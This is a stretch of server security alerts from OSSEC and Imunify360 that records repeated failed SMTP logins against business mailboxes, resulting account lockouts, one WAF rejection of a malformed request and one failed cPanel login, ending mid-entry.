abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:52:32 dovecot_login authenticator failed for H=(QknxY5) [158.94.208.175]:59842: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:52:55 dovecot_login authenticator failed for H=(ev9vA2) [178.16.52.139]:63890: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:52:57 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:52:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61289: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:52:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52118: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.208
country_id: 2542007
description:
2026-02-01 21:52:53 dovecot_login authenticator failed for H=([154.144.255.208]) [154.144.255.208]:46876: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:52:05 dovecot_login authenticator failed for H=(DPx3Yc) [2.58.56.77]:50670: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:53:04 dovecot_login authenticator failed for H=(kFdZWs0X) [178.16.52.139]:64400: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 21:53:10 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:40377: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:53:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:53:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:53:19 dovecot_login authenticator failed for H=(80nzxxV) [2.58.56.77]:61990: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:53:26 dovecot_login authenticator failed for H=(984aFI6t) [158.94.208.175]:49529: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:53:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54948: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 21:53:09 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:34340: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:54:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:54:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:54:05 dovecot_login authenticator failed for H=(LAaaSWaV4) [2.58.56.77]:52271: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:54:09 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49630: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 21:54:20 dovecot_plain authenticator failed for H=(graitiked) [102.53.15.56]:51526: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:54:22 dovecot_login authenticator failed for H=(3wok5F) [158.94.208.175]:61671: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.152.61
country_id: 6252001
description:
2026-02-01 21:54:25 dovecot_plain authenticator failed for H=(perriged) [50.187.152.61]:45244: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:54:03 dovecot_login authenticator failed for H=(onFHUE) [178.16.52.139]:53486: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:55:01 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38856: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:55:03 dovecot_login authenticator failed for H=(JE6uu3fB) [178.16.52.139]:58264: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:55:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:55:15 dovecot_login authenticator failed for H=(BMjFxlMayF) [2.58.56.77]:64592: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:55:16 dovecot_login authenticator failed for H=(eBrpBLtC6) [178.16.52.139]:56021: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:55:01 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60601: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:56:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:56:04 dovecot_login authenticator failed for H=(1CySWFQGAV) [2.58.56.77]:50912: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:56:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:56:10 dovecot_login authenticator failed for H=(q5l8fx) [158.94.208.175]:65257: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:56:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60523: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.58
country_id: 1814991
description:
2026-02-01 21:56:50 dovecot_login authenticator failed for H=([111.61.176.58]) [111.61.176.58]:58290: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:56:02 dovecot_login authenticator failed for H=(ULqDGkKlC) [178.16.52.139]:63763: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-02-01 21:56:09 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:47139: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:57:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:57:07 dovecot_login authenticator failed for H=(IFEdD0Zkn) [158.94.208.175]:53619: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 21:57:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:57:22 dovecot_login authenticator failed for H=(lVSe9w) [178.16.52.139]:62056: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:57:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53249: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:57:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38264: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.242.107.91
country_id: 3355338
description:
2026-02-01 21:57:27 dovecot_plain authenticator failed for H=(7J2Z8VH88YREWO) [160.242.107.91]:52859: 535 Incorrect authentication data (set_id=rajanazrul@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:57:10 dovecot_login authenticator failed for H=(H6T2XR) [2.58.56.77]:53224: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:57:02 dovecot_login authenticator failed for H=(gBAQfWn) [178.16.52.139]:58164: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 21:58:24 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:37070: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:58:02 dovecot_login authenticator failed for H=(bl5LlyyjxV) [158.94.208.175]:55035: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.189
country_id: 1814991
description:
2026-02-01 21:58:13 dovecot_login authenticator failed for H=([111.61.177.189]) [111.61.177.189]:54882: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:58:19 dovecot_login authenticator failed for H=(ZQdCvuvQ0i) [2.58.56.77]:54216: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:58:09 dovecot_login authenticator failed for H=(DrQhnLJb7) [178.16.52.139]:59132: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:58:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52014: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 21:59:26 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:37548: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:59:27 dovecot_login authenticator failed for H=(mttG2b1) [158.94.208.175]:55442: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:59:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44652: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:59:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62694: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 21:59:03 dovecot_login authenticator failed for H=(3rqPUU) [2.58.56.77]:52764: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:59:03 dovecot_login authenticator failed for H=(QIcg69jHy) [178.16.52.139]:59527: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-02-01 21:59:51 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:59886: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:59:27 dovecot_login authenticator failed for H=(ltwH7fI) [178.16.52.139]:60208: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:00:10 dovecot_login authenticator failed for H=(vKTpKIVvD) [178.16.52.139]:49469: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:00:12 dovecot_login authenticator failed for H=(lzHiuj) [2.58.56.77]:64318: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 22:00:33 H=([167.148.167.71]) [167.148.167.71]:51940 F=<Server@cordage.com.my> rejected RCPT <purchasing@cordage.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.193
country_id: 6252001
description:
2026-02-01 22:00:41 dovecot_plain authenticator failed for H=(krata) [192.159.99.193]:60360: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:00:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58848: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:00:27 dovecot_login authenticator failed for H=(dk4QJUH) [158.94.208.175]:59409: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:01:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52148: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.10.182.175
country_id: 3469034
description:
2026-02-01 22:01:27 dovecot_login authenticator failed for H=([177.10.182.175]) [177.10.182.175]:58834: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:01:15 dovecot_login authenticator failed for H=(eHX2ACH) [2.58.56.77]:53064: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.64.3.94
country_id: 1269750
description:
2026-02-01 22:01:43 dovecot_login authenticator failed for H=(abts-north-dynamic-094.3.64.182.airtelbroadband.in) [182.64.3.94]:59220: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 22:02:00 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:60286: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:01:24 dovecot_login authenticator failed for H=(DRJ6rXGLjs) [158.94.208.175]:55187: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:01:48 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59372: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:01:36 dovecot_login authenticator failed for H=(11Rlux) [178.16.52.139]:55032: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:01:11 dovecot_login authenticator failed for H=(aalEQdkX) [178.16.52.139]:50597: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:02:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:02:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:02:04 dovecot_login authenticator failed for H=(1OtJfj) [178.16.52.139]:54466: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:02:05 dovecot_login authenticator failed for H=(kCT6g3m) [2.58.56.77]:57238: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.119.46.45
country_id: 953987
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/our-brand HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 22:02:51 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:15627: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:02:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62197: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:02:20 dovecot_login authenticator failed for H=(Y8sA01NH) [158.94.208.175]:50778: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 22:02:50 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:61454: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:03:23 dovecot_login authenticator failed for H=(B2epsnT1) [178.16.52.139]:50787: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:03:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:03:15 dovecot_login authenticator failed for H=(w7pSBo7) [2.58.56.77]:52674: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:03:17 dovecot_login authenticator failed for H=(NTFV17Sn) [178.16.52.139]:62932: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:03:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56121: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Feb  1 22:03:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.114
country_id: 1819730
description:
2026-02-01 22:03:17 dovecot_login authenticator failed for H=([223.197.145.114]) [223.197.145.114]:65140: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 22:03:19 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:52390: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-02-01 22:03:46 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:43001: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 22:03:02 +0800] info [cpaneld] 185.204.54.153 - tnenime "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tnenime (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-02-01 22:03:05 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:50804: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:03:13 dovecot_login authenticator failed for H=(lJmrqKcW) [158.94.208.175]:64885: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 22:04:38 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:58530: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 22:04:24 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:58926: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.56.245.20
country_id: 1269750
description:
2026-02-01 22:04:36 dovecot_login authenticator failed for H=([127.0.0.1]) [120.56.245.20]:39057: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 22:04:10 dovecot_login authenticator failed for H=(GKgSEPna) [158.94.208.175]:55366: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 22:04:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55338: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:04:15 dovecot_login authenticator failed for H=(8bb4ttqR1J) [178.16.52.139]:64032: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:04:22 dovecot_login authenticator failed for H=(WUDSwK2z) [2.58.56.77]:64522: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.27.196
country_id: 1814991
description:
2026-02-01 22:04:30 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.27.196]:36243: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 22:04:02 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49430: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 22:04:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 22:05:10 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:56641: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-02-01 22:05:10 dovecot_login authenticator failed for H=(wIcFHSh1UO) [2.58.56.77]:57280: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 22:05:22 dovecot_login authenticator failed for H=(EiSuDfD) [178.16.52.139]:53596: 535 Incorrect authentication data (set_id=sales@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.52.114
country_id: 1269750
description:
